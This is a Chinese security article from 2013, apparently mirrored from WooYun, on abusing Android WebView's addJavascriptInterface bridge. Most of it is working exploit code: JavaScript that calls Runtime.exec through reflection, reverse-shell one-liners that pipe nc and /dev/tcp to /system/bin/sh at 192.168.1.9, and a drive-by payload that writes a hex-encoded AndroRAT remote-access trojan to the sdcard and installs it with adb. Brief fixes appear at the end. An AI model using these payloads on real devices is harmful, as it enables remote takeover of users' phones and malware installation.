作者:
livers
·
2013/09/04 15:21
0x00 背景
在android的sdk中封裝了webView控制元件。這個控制元件主要用開控制的網頁瀏覽。在程式中裝載webView控制元件,可以設定屬性(顏色,字型等)。類似PC下directUI的功能。在webView 下有一個非常特殊的介面函式addJavascriptInterface。能實現本地java和js的互動。利用addJavascriptInterface這個介面函式可實現穿透webkit控制android 本機。
0x01 檢測利用
一般使用html 來設計應用頁面的幾乎不可避免的使用到addJavascriptInterface,包含不限於android瀏覽器。
在android 程式碼程式一般是這樣使用:
#!java
settings.setJavaScriptEnabled(true);
settings.setJavaScriptCanOpenWindowsAutomatically(true);
mWebView.addJavascriptInterface(new JSInvokeClass(), "js2java");
這裡可以用
apk->zip->dex->dex2jar->jdgui->java
程式碼來查詢。
但建議用apktool 反編譯smali(畢竟不是所有apk都能反編譯成java程式碼)
在smali程式碼中 則是類似下列的程式碼:
const-string v0, " js2java "
invoke-virtual {p1, v1, v0},Lcom/tiantianmini/android/browser/module/ac;->addJavascriptInterface(Ljava/lang/Object;Ljava/lang/String;)V
當檢測到存在上述程式碼時,可以進行進一步驗證利用:
在11年,已經有人利用addJavascriptInterface進行檔案讀寫,並放出簡單的poc,到12年出現了簡單的執行程式碼的exp。利用的是反射回撥java類的內建靜態變數。如下列的利用程式碼;
<script>
function execute(cmdArgs)
{
return js2java.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
…
</script>
利用java的exec執行linux的shell命令。
0x02 遠端獲取shell
套用yuange的一句話:Poc遠遠小於exp的價值。
利用addJavascriptInterface實現shell.
Android內部的armlinux 是沒有busybox 的,一些常規彈shell的方法被限制。
使用了java的反彈shell方法
//execute(["/system/bin/sh","-c","exec 5<>/dev/tcp/192.168.1.9/8088;cat <&5 | while read line; do $line 2>&5 >&5; done"]);
在Nexus One 4.3的android虛擬機器 並未成功彈出shell.
後發現android中可執行 nc命令 (閹割版的不帶-e的nc)
這裡用了nc的另外一種彈shell的方法完成
Exp 內容:
#!javascript
<script>
function execute(cmdArgs)
{
return XXX.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
execute(["/system/bin/sh","-c","nc 192.168.1.9 8088|/system/bin/sh|nc 192.168.1.9 9999"]);
alert("ok3");
</script>
// 注 xxx 保護隱私用xx代指。
效果如下 
當然可以用遠端IP地址。
0x03 遠端掛馬
畢竟是android環境,shell使用不是很方便。類似xsser肯定不滿足於此。
再昇華下,實現網頁掛馬。
Android 4.1已經加入ASLR技術,堆噴射之類不再有效。UAF要針對android的核心版本。利用自身特性的漏洞是目前比較靠譜的方法。
這裡以androrat遠控木馬為例。
實現網頁掛馬
大部分瀏覽器已經對下載檔案進行儲存提示。這裡需要把andrat.apk寫到掛馬網頁之中。
#!javascript
<script>
function execute(cmdArgs)
{
return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var armBinary = "x50x4Bx03x04x14x00x08x00x08x00x51x8FxCAx40x00x00x00x00x00x00x00x00x00x00x00x00x13x00x04x00x72x65x73x2Fx6Cx61x79x6Fx75x74x2Fx6Dx61x69x6Ex2Ex78x6Dx6CxFExCAx00x00xADx52x31x6FxD3x40x18xFDx2Ex76xAEx86xC4x69x5Ax3Ax54xA2x12xA9xC4x80x22x61xE3xAAx42x4DxC7x22x86x4Ax91xA8x14xC4x0Ax56x7CxC2x27x68x1Cx39x57x0Ax53x11x3Bx63x37x06xFEx01x33x1Bx43x17x36x56xFEx07xACx6Dx9FxCBx1Dx3Dx
……
var patharm = "/data/app/Androrat.apk";
var a=execute(["/system/bin/sh","-c","echo -n +armBinary+ > " + patharm]);
execute(["chmod"," 755 ","/data/app/Androrat.apk"]);
這樣存在幾個問題:
andrat.apk的 hex value大約300k,瀏覽器或者java的exec可能對傳入引數大小有限制,(測試的瀏覽器有限制無法執行)
/data/app/ 目錄存在許可權問題,需要root,chmod 也是同理。
Android這種靜默安裝要麼是有root或者系統簽名的install許可權,要麼是做成預裝軟體的樣子並且重啟。或者是2.2 版本左右可以 透過呼叫隱藏api安裝。
經過進行fuzz實驗,完成了掛馬功能:
#!javascript
<script>
function execute(cmdArgs)
{
return xxx.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs);
}
var armBinary1 = "x50x4Bx03x04x14x00x08x00x08x00x51x8FxCAx40x00x00x00x00x00x00x00x00x00x00x00x00x13x00x04x00x72x65x73x2Fx6Cx61x79x6Fx75x74x2Fx6Dx61x69x6Ex2Ex78x6Dx6CxFExCAx00x00xADx52x31x6FxD3x40x18xFDx2Ex76xAEx86xC4x69x5Ax3Ax54xA2x12xA9xC4
var armBinary2="x1BxB0x65x0AxADx23xC2x30x64xDFxEExA1x0DxA4xE8x3Fx61x80xEExBCxE1xE7x7Bx4Ax25x6Fx8Bx36x71xC3x80x81x58xDBxC9x8Fx53x9FxEEx8Ax45xAFx23x54x4AxCFx2Bx52xF2x33x84xBAx82x36xC4x0Dx08xAFxC2x61x8ExD8x7Bx0BxFCx88x4Ax25x24x8Cx22xFAx76x44x78x5Ex99x62x30x44x8DxDBx74x94
var armBinary3=…
var armBinary4=…
……
var patharm = "/mnt/sdcard/Androrat.apk";
var a=execute(["/system/bin/sh","-c","echo -n +armBinary1+ > " + patharm]);
//alert(a);
execute(["/system/bin/sh","-c","echo -n +armBinary2+ >> " + patharm]);
execute(["/system/bin/sh","-c","echo -n +armBinary3+ >> " + patharm]);
execute(["/system/bin/sh","-c","echo -n +armBinary4+ >> " + patharm]);
execute(["/system/bin/sh","-c","adb install /mnt/sdcard/Androrat.apk"]);
alert("over !!!");
</script>
將androrat.apk拆分。
利用echo寫入到sdcard中(此目錄可讀可寫 不可執行)。
利用自身帶的adb進行安裝(安裝各種xx手機助手的不在少數吧)。 
Androrat 成功安裝,這裡使用了androrat的debug=true模式。
成功連線到控制端。
0x04 修復
1、Android 4.2 (api17)已經開始採用新的介面函式【java中應該叫方法:) 】,@JavascriptInterface 代替addjavascriptInterface, 有些android 2.3不再升級,瀏覽器需要相容。
2、在使用js2java的bridge時候,需要對每個傳入的引數進行驗證,遮蔽攻擊程式碼。
3、控制相關許可權或者儘可能不要使用js2java的bridge。
Link: http://developer.android.com/reference/android/webkit/WebView.html http://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface(java.lang.Object, java.lang.String) http://www.cis.syr.edu/~wedu/Research/paper/webview_acsac2011.pdf http://50.56.33.56/blog/?p=314
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!